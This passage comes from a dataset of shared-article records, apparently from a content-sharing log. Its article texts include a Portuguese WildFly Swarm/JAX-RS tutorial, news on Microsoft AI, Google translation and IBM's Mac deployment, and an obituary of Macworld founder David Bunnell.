livraria. Vamos iniciar criando nossas classes de domínio Livro e Autor e seus respectivos DAOs Vamos criar uma classe para configurar o JAX-RS para receber requisições a partir da raiz: Agora que já temos como receber requisições vamos criar nossos recursos que serão expostos pela nossa api LivroResource e AutorResource além disso já vamos marcar-los como EJB Stateless para que já tenhamos transação entre outras coisas disponíveis. Nesse recurso temos as seguintes URIs /livros - GET (Retorna uma lista com todos os livros) /livros/id - GET (Retorna o livro com ID especificado) /livros - POST (Cria um novo livro) Nesse recurso temos as seguintes URIs /livros/idDoLivro/autores - GET (retorna todos os autores de um livro especifico) /livros/idDoLivro/autores/idDoAutor - GET (retorna um autor especifico de um livro especifico) /livros/idDoLivro/autores - POST (cria um novo autor associado ao livro) Agora que temos nosso projeto pronto temos que registrar um datasource e associa-lo no nosso arquivo persistence.xml . Para o nosso caso, esta configuração será feita em uma classe com um método main . Porém para configurar o datasource precisamos dizer qual o driver, e no nosso caso será um driver para mysql. para não precisarmos registrar um driver, podemos adicionar a dependência para esse driver diretamente no pom.xml Para que seja adicionado corretamente o driver para mysql precisamos excluir o driver default que vem quando adicionamos a dependência para JPA que é o H2 . Para isso vamos alterar a dependência de JPA e remover o H2 . (Se não fizermos essa configuração ao subirmos o wildfly-swarm iremos receber um erro, informando que esta rolando um conflito entre essas dependências H2 , MYSQL ). Pronto agora vamos registrar nosso datasource dentro de um método main: Como estamos sobrescrevendo o comportamento default do wildfly-swarm precisamos ensinar ele como ele deve fazer o deploy da nossa aplicação (ou seja dentro do nosso .war quais classes devem estar disponíveis, quais arquivos e etc...). Para fazer isso iremos usar uma biblioteca chamada ShrinkWrap da própria JBoss que serve para criar um pacote programaticamente, ela é muito utilizada quando estamos usando o Arquillian para testes de aceitação/integração. Com ele podemos criar JARArchive ( .jar ) e WARArchive ( .war ). Além desses temos outros tipos mais especificos por exemplo RibbonArchive um archive especifico que pode ser registrar em aplicações baseadas em Ribbon, Secured que já injeta o arquivo keycloak.json e já configura a parte de seguraça. Temos também um outro tipo especifico que é JAXRSArchive que é um archive que já configura o jax-rs e faz o binding para classe de configuração Application/@ApplicationPath . Vamos utilizar esse archive. Além disso precisamos dizer que ao fazer o deploy da aplicação seja levado os arquivos persistence.xml e beans.xml necessários para o funcionamento da JPA e CDI . O arquivo beans.xml deve estar dentro do diretório WEB-INF a partir do classpath e o arquivo persistence.xml , deve estar em META-INF a partir do classpath também. E precisaremos configurar isso também. Como ultima configuração precisamos indicar ao plugin do wildfly-swarm que ele não deve usar sua classe padrão para iniciar. Ele deve usar nossa classe Boot e com isso alterar o arquivo de manifesto para usar essa classe como ponto inical da nossa aplicação. Vamos alterar a declaração do plugin no arquivo pom.xml e adicionar a configuração "". Para que seja gerado o UberJar devemos executar o goal package do maven (Ex.: mvn package ). Ao termino dessa execução no diretório target teremos um arquivo livraria.war e um livraria-swarm.jar (entre outros arquivos). O arquivo livraria-swarm.jar é o nosso UberJar . Para executarmos podemos faze-lo pelo plugin do maven através de mvn wildfly-swarm:run ou executando o comando java -jar livraria-swarm.jar . Dessa forma temos uma aplicação JavaEE somente com o mínimo necessário e um contêiner bem mais leve para rodar a mesma. Aprendendo mais Quer aprender mais sobre como utilizar a especificação JavaEE ? Não deixe de conferir nosso curso Plataforma JavaEE , nele abordamos jax-rs , jpa , cdi , ejb entre outros recursos da especificação JavaEE . E aí o que você achou do wildfly-swarm ?",pt
1476895772,CONTENT SHARED,6800965548226529308,8420481937548705787,-5422341117612814849,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.retail-week.com/analysis/retail-voice/sponsored-five-reasons-why-retailers-should-opt-for-digital-receipts/7013055.article,Sponsored: Five reasons why retailers should opt for digital receipts,"Unsupported browser For a better experience please update your browser to its latest version. Your browser appears to have cookies disabled. For the best experience of this website, please enable cookies in your browser This site uses cookies. By continuing to browse the site you are agreeing to our use of cookies.",en
1476896429,CONTENT SHARED,5929055844564382383,8420481937548705787,-5422341117612814849,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://internationalbanker.com/technology/digital-tool-strategic-enabler-banking-transformation/,Digital Tool as Strategic Enabler for Banking Transformation,"By Brian Pallas , founder and CEO of Opportunity Network and Ann Wong , Director of Corporate Communications & Investor Relations at Opportunity Network The financial services sector is going through a dramatic change in today's highly connected digital environment. With heightened customer expectations, ever-increasing customer touchpoints, and the advent of new technologies, banking institutions have been forced to enhance their digital capabilities to stay relevant, whether it be through front-end features such as mobile apps or self-servicing tools for customers and staff. Furthermore, with the rise of financial technology (Fintech) companies who serve as both industry disruptors and partners, banks now face the challenge of clearly defining a roadmap for both cultural and structural-level transformation and dedicating the necessary resources to it. Digital banking transformations, nevertheless, are complex and intertwined with critical concerns around fragmented IT infrastructure, regulatory approval, and highly sensitive data security. Banking executives will need to carefully prioritize the right digital strategy and leverage effective digital tools in order to catalyze the transformation. But before senior executives inundate themselves with the intricacies of specific technologies, they need to ensure their selected digital tools fulfill three criteria: Require lightweight IT integration with internal systems Digital transformations don't necessarily require a complete upheaval in existing IT infrastructure. Financial institutions can certainly improve performance without significant risk through smaller, more targeted investments. The benefit of lightweight technology integration is twofold. Firstly, implementation is relatively rapid and avoids deep integration into complex legacy systems. This means less time spent on functional testing, fewer resources dedicated to integration, and faster time to market. Secondly, the ease of deployment means banks can see how the technology fares with internal staff and customers. If there is widespread adoption, the technology can be scaled further efficiently; if there are barriers to adoption, it can be halted without significant side effects to existing processes. A safe-bet digital solution should enable banks to test their users' appetite for technology and reap the benefits of digitization at a low initial investment. Acquire minimal client information from banks but still create deeper customer engagement Financial institutions are entrusted with a plethora of confidential client data and it's their fiduciary role to safeguard this information. When choosing a digital tool, banking executives must select a partner who commands or uses client information in a secure, controlled environment and is incentivized in the right way both financially and strategically. This ensures a bank to have the greatest supervision of confidential data and stronger customer relationships without the threat of being disintermediated. In the UK, the FCA has pioneered the Regulatory Sandbox initiative which is great milestone for banks and Fintech looking to partner; but for markets that have not established such sandbox environments, banks should be both prudent and aggressive with their risk-reward analysis. Couple the digital experience with a human touch through the entire customer journey While many routine transactions continue to move online, human touch remains a crucial component in financial advisory and trust building. New customer experiences should bring together the best of online and offline banking. Going forward, high-touch services that meet high-value customer demand will be the differentiating factor in banking success. In order for banks to succeed in their digital transformation, they must equip their sales talent with digital tools that can help them deliver the right products at the right time to the right customers. For corporate banking, digital engagement should start from the very beginning of business origination when customers have new business leads or ideas. Rather than offering fragmented digital solutions to customers, banks should be strategic and provide holistic digital offerings in order to capture the entire spectrum of their clients' business needs. Banks will then be able to follow through the customers' entire decision making journey, they can effectively execute a pull strategy and ultimately win customers' share of mind. Banks are operating in a highly competitive environment today and customers tend to be multi-banked. By offering a seamless digital experience starting from the very beginning of business origination, customers and bank managers can enter into a loyalty cycle. Today's landscape of changing customer demands and expectations, disruptive technologies, and new players has spurred significant changes across the global banking industry. However, banks must remain diligent in their digital transformation and be strategic in their partnerships. Lightweight IT and capital investments, controlled sharing of customer information, and high-touch customer experiences are three critical components in a Fintech solution that will enable banking institutions to quickly add value to their customers and shareholders. Banks should look for these elements in their digital enablers and partners in order to succeed in their transformation.",en
1476900006,CONTENT SHARED,5053372977408537204,-4627026983118548639,-5965206911732685691,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",IL,US,HTML,http://news.microsoft.com/features/democratizing-ai/,Democratizing AI,"As we think about the future of technology, it resides in the notion of intelligence. At Microsoft, we have an approach that's both ambitious and broad, an approach that seeks to democratize Artificial Intelligence (AI), to take it from the ivory towers and make it accessible for all. And as we consider the future, it's often instructive to look to the past. Let's consider the beginning of the modern era of information. With the advent of the printing press in the 1400s we have an explosion of information - the first democratizing event around access that made it possible for humans everywhere to start learning. Access to information has only spread from there. Every walk of life has changed because of our ability to create knowledge and distribute knowledge. But one thing has remained constant and scarce: time. In the midst of this abundance of information, we're still constrained by our human capacity to absorb it. The question is, how can we use all we have in terms of computational power to solve this fundamental constraint? To make better sense of the world? That's the essence of what AI is. It's not about having AI that beats humans in games, it's about helping everyone achieve more - humans and machines working together to make the world a better place. We're taking a four-pronged approach to how we think about Microsoft AI and how we pursue this bold ambition to democratize AI for all: We're going to harness artificial intelligence to fundamentally change how we interact with the ambient computing, the agents, in our lives. We're going to infuse every application that we interact with, on any device, at any point in time, with intelligence. We'll make these same intelligent capabilities that are infused in our own apps - the cognitive capabilities - available to every application developer in the world. We're building the world's most powerful AI supercomputer and making it available to anyone, via the cloud, to enable all to harness its power and tackle AI challenges, large and small. Where we are today... Cortana works across devices. And there is an ecosystem effect with the skills she's developing to surface information about your daily tasks in work and life, often before you know you need it. We are also building applications that are core to your productivity and communication, as well as business processes - and we're infusing them with intelligence. In Office 365, My Analytics is like a fitness tracker for your workday, showing how you're spending your time informed by the Microsoft Graph and powered by AI. In addition to infusing intelligence into your daily interaction with applications, we're also taking the notion of what a customer relationship management (CRM) application is and turning it upside down. CRM systems have historically been built as siloed systems that modeled customer activity in explicit terms, built for management, not for sales productivity. What if salespeople had the ability to act on information based on the activities of customers happening outside their CRM system: on Twitter, in Facebook, in customer service applications. We will enable salespeople to take action in an integrated way using a rich data model that can infer intelligence from everywhere. Agents can now acquire information using reinforcement learning capabilities, a breakthrough that is going to improve these virtual assistants and forever change the economics of customer service. As we infuse intelligence into everything, whether it's your keyboard, your camera, or business applications, we are essentially teaching applications to see, to hear, to predict, to learn and take action. We aim to take that same capability and made it available as a set of APIs to every developer and democratize it so that everyone can use the same building blocks that we use to build Office, Cortana and Dynamics 365. The first building block around machine learning and advanced analytics is Cortana Intelligence Suite .And it's showing up in a variety of industries - including healthcare, personalized medicine and agriculture - with customers like Ecolab, Schneider Electric and Rolls-Royce. Imagine having a device like HoloLens and marrying it with the cognitive capabilities in Azure, and the preference graphs in services like Pinterest. Lowe's is taking this union and reimagining how home remodeling works. Before, you would go to the store, pick out designs and samples, head back home, look at them, tweak them, go back to the store, change, rinse and repeat. With machine learning and HoloLens, you can go to a retail outlet, recreate your remodel in front of your eyes, get the design you want and place your order. This is transformative, not just for retailers, but for their customers too. All of this is possible because of the foundational availability of computing resources that allow us to reason large amounts of data, but we're taking it a step farther. Today we have a global, hyperscale, cloud infrastructure that we continue to improve across many dimensions - performance, scale and increasing richness and sophistication of higher level services to enable scenarios that simply were not possible before. We've added GPUs to that cloud to deliver the highest performance cloud available. Customers such as Jellyfish Pictures and Virginia Tech are using CPU-based virtual machines to dramatically scale production needs, on demand. We're adding FPGAs to deliver unprecedented network performance in this cloud that improves throughput for all workloads, including running mission-critical applications like SAP. It's an incredible platform for doing AI work too. We support all the frameworks for AI - our own, CNTK , is the fastest distributed framework for neural networks and the only public toolkit that can scale beyond a single machine - but also TensorFlow, Caffe and Torch. All of that is available today at unprecedented scale. But we're not stopping there. Azure is now the world's first AI supercomputer. Put another way, we're looking post-Moore's-Law - and solving for the issue of Moore's Law running out of steam. By adding this technology to the cloud, we can do amazing things. Consider translation as one example. Using just a single node of our FPGA fabric we can translate W a r and Peace , all 1440 pages, from Russian to English in just two and a half seconds. If we take the entire capability today, the AI supercomputer can translate all of Wikipedia- which printed and stacked on end would stand a quarter mile high - in less than one tenth of a second, less time than it takes you to blink once. Azure is using this technology for accelerated networking and for a virtual machine that can drive 25 gigabits per second throughput at a 10X reduction in latency. Every time you do a Bing query, you're touching this fabric to get better results. We have the world's most-powerful cloud, we have the world's most-intelligent cloud and we have the world's most-flexible cloud. But it's important as creators of technology for us to make careful choices so that this technology ultimately translates into welfare for all, and that means design principles that focus on the human benefit of AI, transparency and accountability. It's not just about celebrating new technology, it's about the human ingenuity and human passion being brought together with amazing new technology to go and tackle some of the fundamental challenges of humanity. Today, we are only scratching the surface of what AI can help us accomplish. Ultimately, we believe humans and machines will work together to solve society's greatest challenges, to create magical experiences and change the world.",en
1476900263,CONTENT SHARED,-7463572107837163154,-4627026983118548639,-5965206911732685691,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",IL,US,HTML,https://www.technologyreview.com/s/602480/googles-new-service-translates-languages-almost-as-well-as-humans-can/?utm_campaign=socialflow&utm_source=facebook&utm_medium=post,Google's new translation software is almost as good as human translators,"Google's latest advance in machine learning could make the world a little smaller. The company is reëngineering its translation service after Google researchers invented a system that is significantly more accurate. In a competition that pitted the new software against human translators, it came close to matching the fluency of humans for some languages, such as when translating from English to Spanish. Google has already begun rolling out the new system for translations from Chinese to English (see examples showing the improvement ). The company expects to replace its current translation system altogether. Making it easier to read Web pages or exchange messages across language barriers could help people around the globe communicate with one another. Google researcher Quoc Le says Google's big translation upgrade could also lead to improved relations between people and machines. A man uses Google's translation app in Paris in 2014. Ideas at work in the new translation system could help software learn to do harder things such as read Wikipedia and then answer complex questions about the world, says Le, who was one of MIT Technology Review 's 35 Innovators Under 35 in 2014 . Google's new translation system was built using a technique known as deep learning, which uses networks of math functions loosely inspired by studies of mammalian brains (see "" 10 Breakthrough Technologies 2013: Deep Learning ""). It triggered the recent flood of investment in artificial intelligence by producing striking progress in areas such as image and speech recognition. Since 2014, researchers at Google have been investigating how deep learning might also deliver a shot in the arm to translation. Le says the latest results show that time has now come. A paper released by Google includes results from translating from English into Spanish, French, and Chinese, and from each of those languages into English. When people fluent in two languages were asked to compare the work of Google's new system against that of human translators, they sometimes couldn't see much difference between them. Participants used a scale from 0 to 6 to rate the fluency of translations of 500 sentences taken randomly from Wikipedia or news articles. For English to Spanish, Google's new system scored 5.43 on average, not far off the 5.55 given to human translations. Google's new system also scored close to human translators for French to English. The old system was not close to human performance. In Google's tests, humans scored the new system between 64 and 87 percent better than the previous one. Le says the impressive results came from Google's researchers making their neural-network-powered translation system much more independent of its human designers. Both the old and new systems learn to translate by looking at collections of documents that had been translated into different languages. But the old system was designed to use a particular recipe to translate text. It had components created to learn certain things, for example how to reorder the words in a sentence in different languages. Google's new system isn't given a recipe and figures out its own path to reliably convert text from one language to another. It even reads and creates text without bothering with the concept of words. Instead, the software works out its own way to break up text into smaller fragments that often look nonsensical and don't generally correspond to the phonemes of speech. That independence makes it hard for even the system's creators to understand what it's doing, but the results speak for themselves, says Le. ""It can be unsettling, but we've tested it in a lot of places and it just works,"" he says. Google's translation fillip doesn't come out of the blue. Researchers in academia and industry have recently become convinced that neural networks can allow new progress in making software understand language, says Lane Schwartz , an associate professor in linguistics at the University of Illinois. How much progress Le and others can expect toward software that displays some ability to truly understand language is unclear. Aping the complexity and power of the way we communicate has been a target of artificial intelligence researchers for decades, but successes have been scarce (see "" AI's Language Problem ""). This story was updated to remove reference to results from translating Portuguese, which were not present in the final version of Google's paper.",en
1476901039,CONTENT SHARED,-8680242653057858999,-4627026983118548639,-5965206911732685691,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",IL,US,HTML,http://www.forbes.com/sites/bernardmarr/2016/09/27/3-industries-that-will-be-transformed-by-ai-machine-learning-and-big-data-in-the-next-decade/,"3 Industries That Will Be Transformed By AI, Machine Learning And Big Data In The Next Decade","Historically, when new technologies become easier to use, they transform industries. That's what's happening with artificial intelligence and big data; as the barriers to implementation disappear (cost, computing power, etc.), more and more industries will put the technologies into use, and more and more startups will appear with new ideas of [...]",en
1476918037,CONTENT SHARED,2847365042071859088,-709287718034731589,-1719288689557472072,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,http://www.cultofmac.com/449972/ibm-now-uses-macs-company/,IBM now uses more Macs than any other company | Cult of Mac,"IBM is on track to deploy 100,000 Macs by early 2017. Photo: IBM IBM has now deployed over 90,000 Macs since joining forces with Apple in July 2014 , and it is on track to surpass the 100,000 milestone in early 2017. As its Mac user base rises, the company has found that the need for technical support has fallen. An update on IBM's partnership with Apple, which sees it deploying 1,300 Macs every week, was provided at the annual JAMF Nation User Conference on Wednesday. Not only has IBM been pushing Macs, but also over 48,000 iPads and over 81,000 iPhones. This takes the total number of Apple devices used by IBM to over 217,000, and yet only 50 support staff are required to provide assistance for those devices worldwide. That's because just 5 percent of Macs end up requiring deskside support, compared to 27 percent of PCs. In fact, PC users drive twice the number of support calls, IBM says. It's no wonder, then, that as the number of Macs deployed by IBM rises, its rate of support tickets has fallen. Back in June 2015 when the program first started, and less than 9,000 Macs had been deployed, around 7.6 percent of users required technical support. As of September 2016, when 85,000 Macs were in use at IBM, only 3.2 percent of users needed assistance. This is saving IBM a pretty penny. Last October, Apple CEO Tim Cook revealed that the company is saving around $270 in support costs with every Mac it rolls out. Macs might be more expensive to purchase, then, but they're well worth it over time. Alongside IBM's adoption of Mac and iOS devices, the company has been developing enterprise apps for iPhone and iPad under the MobileFirst initiative . It now offers over 100 native apps tailored to serve the needs of multiple industries. Via: AppleInsider",en
1476918091,CONTENT SHARED,-713893030279048092,-709287718034731589,-1719288689557472072,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,http://appleinsider.com/articles/16/10/19/ibm-deploying-1300-macs-per-week-apple-users-need-much-less-support-than-pc-counterparts,"IBM deploying 1,300 Macs per week, Apple users need much less support than PC counterparts","New light was shed on IBM's deployment of Apple hardware at the annual JAMF Nation User Conference on Wednesday, revealing the 100,000 Mac user milestone expected to be crossed at Big Blue right around the start of the new year. According to data provided by IBM, and collated by JAMF, IBM has deployed over 90,000 Macs since June 1, 2015. In the same time frame, it also has distributed over 48,000 iPads, and more than 81,000 iPhones to employees. The entire worldwide macOS and iOS support staff is only 50 employees. While no firm numbers of tech calls were given, 27 percent of the PC tickets generated by employees required a desk-side visit by IT staff, and only 5 percent of the Mac tickets needed personal assistance. As the Apple deployments continue to increase, the percentage of tickets needed by the Mac using population continues to fall. At the start of the effort, 7.6 percent of 8,758 users needed assistance from tech support. In September, with 85,000 Macs in the field, only 3.2 percent needed help. The numbers are similar to those reported in 2015 by JAMF and IBM. Apple Chief Executive Tim Cook has also noted that IBM saves $270 per Mac in support costs, over support for Windows-based computers. As part of the deal, IBM continues to deploy 1,300 Macs per week. This puts the company on pace to exceed 100,000 right around the start of 2017. Apple and IBM forged a deal in July 2014, to promote the use of iOS and IBM-developer apps in enterprise. As part of the new partnership, an extension of IBM's MobileFirst initiative dubbed "" IBM MobileFirst for iOS ,"" IBM has developed more than 100 native iOS apps and services tailored to the needs of multiple industries. IBM's new computer installation work-flow allows for employees to receive a shrink-wrapped, brand new Mac and quickly and easily set it up on their own, without involving IT staff to assist. Apple's Device Enrollment Program and JAMF Software's Casper Suite are utilized in tandem, with installation of and licensing of IT-approved apps, download of documents, and custom configurations being performed automatically.",en
1476918123,CONTENT REMOVED,2847365042071859088,-709287718034731589,-1719288689557472072,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,http://www.cultofmac.com/449972/ibm-now-uses-macs-company/,IBM now uses more Macs than any other company | Cult of Mac,"IBM is on track to deploy 100,000 Macs by early 2017. Photo: IBM IBM has now deployed over 90,000 Macs since joining forces with Apple in July 2014 , and it is on track to surpass the 100,000 milestone in early 2017. As its Mac user base rises, the company has found that the need for technical support has fallen. An update on IBM's partnership with Apple, which sees it deploying 1,300 Macs every week, was provided at the annual JAMF Nation User Conference on Wednesday. Not only has IBM been pushing Macs, but also over 48,000 iPads and over 81,000 iPhones. This takes the total number of Apple devices used by IBM to over 217,000, and yet only 50 support staff are required to provide assistance for those devices worldwide. That's because just 5 percent of Macs end up requiring deskside support, compared to 27 percent of PCs. In fact, PC users drive twice the number of support calls, IBM says. It's no wonder, then, that as the number of Macs deployed by IBM rises, its rate of support tickets has fallen. Back in June 2015 when the program first started, and less than 9,000 Macs had been deployed, around 7.6 percent of users required technical support. As of September 2016, when 85,000 Macs were in use at IBM, only 3.2 percent of users needed assistance. This is saving IBM a pretty penny. Last October, Apple CEO Tim Cook revealed that the company is saving around $270 in support costs with every Mac it rolls out. Macs might be more expensive to purchase, then, but they're well worth it over time. Alongside IBM's adoption of Mac and iOS devices, the company has been developing enterprise apps for iPhone and iPad under the MobileFirst initiative . It now offers over 100 native apps tailored to serve the needs of multiple industries. Via: AppleInsider",en
1476918182,CONTENT SHARED,4869691310149728361,-709287718034731589,-1719288689557472072,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,http://www.cultofmac.com/449998/r-p-david-bunnell-founder-macworld/,"R.I.P. David Bunnell, founder of MacWorld | Cult of Mac","The late David Bunnell, founder of Macworld magazine and several others. Photo: David Bunnell Fast Company's Harry McCracken has a nice obituary of David Bunnell , founder of Macworld and all round good guy. David died Tuesday night at age 69 at his home in Berkeley, Calif. Bunnell was a pioneer in the computing publishing industry. McCracken writes: In 1977, Bunnell devised the idea for Personal Computing magazine and convinced Benwill, a Boston-based publisher, to fund it. Less geeky than Byte, the biggest computer monthly of the time, it was a template for many mass-audience tech magazines that Bunnell and others would found in the years to come. He even got his former MITS colleagues Bill Gates and Paul Allen to write a software column for it. The magazine was an instant success, but when David asked for an ownership stake, and the publisher refused, he quit and moved to San Francisco. Founding magazines and then quitting was a pattern he'd repeat. In 1981, Bunnell, his wife and some friends started a magazine devoted to the IBM PC, the first publication devoted to a single machine and its ecosystem. PC Computing was put together in a spare bedroom at Bunnell's home. It was quickly sold to a publisher, but after another fight, Bunnell quit and moved to IDG where he founded PC World. ""Its first issue was so thick with advertising that it set records,"" writes McCracken. Next came Macworld, another magazine devoted to a single computing platform. Working with Steve Jobs, the magazine debuted on January 24, 1984, the same day as the Mac itself. Bunnell wrote a great series of posts for us about the magazine's founding and launch, and working with Steve Jobs. Links to all the posts can be found below. In 1985, Bunnell followed up with the launch of Macworld Expo, perhaps the only successful tech conference aimed at consumers. Within a couple of years, Macworld Expo was held twice a year on both coasts, filling up giant conference halls in San Francisco and Boston (and later New York). It spawned international sister conferences in Paris and Tokyo. Bunnell wasn't all business. He had grown up in the tumultuous 60s, and the era's social and political mores stuck with him. The thing that made Bunnell intriguing rather than merely successful was that he never stopped thinking like a 1960s social activist, even after he became a tie-wearing publishing magnate. In 1986, for instance, he published a blistering editorial in PC World and Macworld decrying Georgia's sodomy law as being a violation of the spirit of the PC revolution-a bold decision given that the state was, at the time, home to numerous major companies in the industry, some of whom yanked their advertising. The move led the Fund for Human Dignity, an LGBT rights organization, to honor him with its Howard J. Brown Award. Bunnell went on to found Computers and You, a computer-literacy center in San Francisco's poor and run-down Tenderloin neighborhood. He also founded and funded the Andrew Fluegelman Foundation , a charity named after his friend, the late founding editor of PC World and Macworld, which gives computers to underprivileged students headed to college. In a post on Medium, Bunnell described it as ""the single most rewarding thing I've ever done in my life."" In 2012 I started giving away laptops computers to poor, mostly inner city, high school students who in spite daunting odds had excelled in their studies, participated in meaningful community organizations, and been accepted to a 4-year university or college. Most of them had scholarships or financial aid and more importantly the willpower or audacity to succeed no matter what, and all of them it turned out were the first in their families to ever go to college. The one thing none of them had was a computer - and having your own computer is a vital necessity for college students who otherwise have to borrow a friend's laptop or use one of the computers in the library on the other side of campus. Part 1: Meeting Steve Part 2: Seeing the Macintosh for the Very First Time Part 3: We Met the REAL Steve Jobs Part 4: Steve Jobs Tells Us to ""Belly Up to the Bar"" Part 5: Steve Comes Up with a Really Weird Ad Part 6: Steve Poses for the First Cover of Macworld Part 7: Andrew Fluegelman Urges Apple to Delay the Introduction Part 8: Pat McGovern Meets with Steve, the Deal is Done . Part 9: Steve is F*cking Great! Part 10: Steve Thumbs his Nose at the Apple II Part 11: The Macintosh Speaks For Itself (Literally)... Part 12: The Fat Mac Saves the Day Part 13: Steve Brings Tina to the Macworld Dinner Party Part 14: Ella Fitzgerald Sings Happy Birthday to Steve Part 15: Steve's NeXT Big Thing",en
1476918215,CONTENT SHARED,-2358644309529026633,-709287718034731589,-1719288689557472072,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,http://www.macrumors.com/2016/10/19/apple-announces-october-27th-mac-centric-event/,Apple Invites Media to 'Hello Again' October 27th Mac-Centric Event,"Apple today sent out media invites for a Mac-centric event that will be held on Thursday, October 27 at 10:00 a.m. at Apple's Cupertino campus. The October event is expected to focus on the introduction of new Macs, headlined by a much-rumored and highly anticipated revamped MacBook Pro . According to rumors, the new MacBook Pro will feature the first redesign to the machine since 2012. A thinner, lighter body is expected, with a wider, pressure-sensitive trackpad and a flatter MacBook-style keyboard with the same butterfly key mechanism. The MacBook Pro will be available in the same 13 and 15-inch size options, and will feature USB-C with USB 3.1 support for faster transfer speeds, Thunderbolt 3, and Touch ID . Touch ID is expected to be built into a new OLED touch panel built into the top of the MacBook Pro, where it will replace the physical function key row. The OLED touch panel is said to feature contextual buttons that will change based on each app that's in use. A leaked chassis suggests it will feature four USB-C ports and a headphone jack, but no HDMI port, no USB-A ports, no MagSafe connector, and no SD card slot. Subscribe to the MacRumors YouTube channel for more videos. A refreshed 13-inch MacBook Air with USB-C ports has also been rumored, but it is not clear if other internal changes will be made to Apple's low-cost machine. It's possible the 13-inch MacBook Air will be a standalone product going forward, based on rumors suggesting the 11-inch model will be discontinued . Apple is also said to be working on updated iMac s with AMD graphics chips, which could be introduced at the event, and we might possibly see the debut of a rumored 5K Retina display with an integrated GPU . Apple discontinued the original Thunderbolt Display earlier this year, but an updated product has been in the works and it makes sense to release it alongside refreshed Macs if it's ready to launch. Apple's Mac Pro and Mac mini are in dire need of refreshes, having been updated last in 2013 and 2014, respectively, but it is not clear if these machines will also see updates at the event. MacRumors plans to provide live coverage of Apple's October 27 event, both here on MacRumors.com and through our MacRumorsLive Twitter account .",en
1476918289,CONTENT SHARED,6892165923784661946,-709287718034731589,-1719288689557472072,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,https://9to5mac.com/2016/10/19/apple-ibm-mobilefirst-education-watson-element/,"Apple &amp; IBM launch first 'MobileFirst for iOS' education app, IBM Watson Element","Since partnering in 2014 to develop enterprise iOS apps under the ""MobileFirst for iOS"" banner, Apple and IBM have rolled out over 30 apps for various industries, but today the two companies introduced their first MobileFirst education app. The new app, IBM Watson Element for Educators, offers insights to teachers including ""data on interests, accomplishments, academic performance, attendance, behaviors and learning activities."" ""IBM and Apple are launching Watson Element to help teachers gain insights into each student's skills, preferences and interests to transform personalized learning experiences that are unique to all... IBM Watson Element provides teachers with a holistic view of each student through a fun, easy-to-use and intuitive mobile experience that is a natural extension of their work. Teachers can get to know their students beyond their academic performance, including information about personal interests and important milestones students choose to share.For example, teachers can input notes when a student's highly anticipated soccer match is scheduled..."" When Apple and IBM first announced the partnership, the companies had plans to develop 100 enterprise apps and cloud services while IBM also started pushing and supporting Apple devices alongside specialized AppleCare plans. The partnership later expanded to IBM distributing and supporting Macs for other companies. IBM itself has also become the largest enterprise Mac deployment after offering its own employees Macs as an official option starting last year. IBM notes that Apple will be pushing the new Watson Element app as part of its package of educational offerings for schools. Apple offered an update on some of its other recent education initiatives back in August , noting that its ConnectED efforts have reached more than 32,000 students throughout the United States. The program now provides some form of aid to 114 schools including Apple devices and support. At Apple retail stores, the company recently started piloting a ""Teachers Tuesdays"" program that sees employees offer free assistance to teachers. In addition, Apple introduced a new Classroom app for iOS back in March , which acts as a teacher/student assistant for assigning tasks, organizing classrooms, delivering teaching materials, and more.",en
1476918510,CONTENT SHARED,-2139739377293212491,-709287718034731589,-1719288689557472072,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",SP,BR,HTML,https://9to5mac.com/2016/10/19/jamf-ibm-mac-deployment/,"Jamf conference: IBM cutting costs w/ largest enterprise Mac deployment, 100,000 by end of year","At the JAMF Nation User Conference (JNUC) this week, IBM's Fletcher Previn delivered an update on the company's rollout of Macs internally since it introduced Apple computers as an option for employees for the first time last year. In just over a year, IBM passed its original goal of deploying 50,000 Macs and is now at 90,000 internally. That makes it the largest enterprise Mac deployment anywhere, and Previn described how it's helping the company cut costs. IBM plans to reach over 100,000 Macs by the end of the year and is now deploying 1300 a week on average. Previn was speaking at the conference because IBM manages its fleet of Macs with Jamf's software , a popular suite of tools for deploying and managing Macs and iOS devices. In fact, Jamf noted during the conference that it's currently the largest Apple IT community with 38,000+ members and its software managing more than 6.8 million Mac and iOS devices. Back in May of last year , IBM started offering its employees Macs as an official alternative to PCs and chose Jamf to support the rollout. Last year it noted that Macs were helping it cut down on support employees needed. This year, thanks to the continued Mac rollout, Previn noted that IBM has noticed its total cost of ownership for devices internally is significantly better than last year. And IBM employees are now overwhelmingly choosing Macs versus the competition: IBM is saving a minimum of $265 (up to $535 depending on model) per Mac compared to a PC, over a 4-year lifespan. While the upfront workstation investment is lower for PCs, the residual value for Mac is higher... The program's success has improved IBM's ability to attract and retain top talent - a key advantage in today's competitive market Previn added that only around 3.5% of Mac users compared to 25% of PC users are currently calling the help desk. Additionally, 73% of IBMers are planning to upgrade to a Mac for their next computer. And Jamf had some of its own news 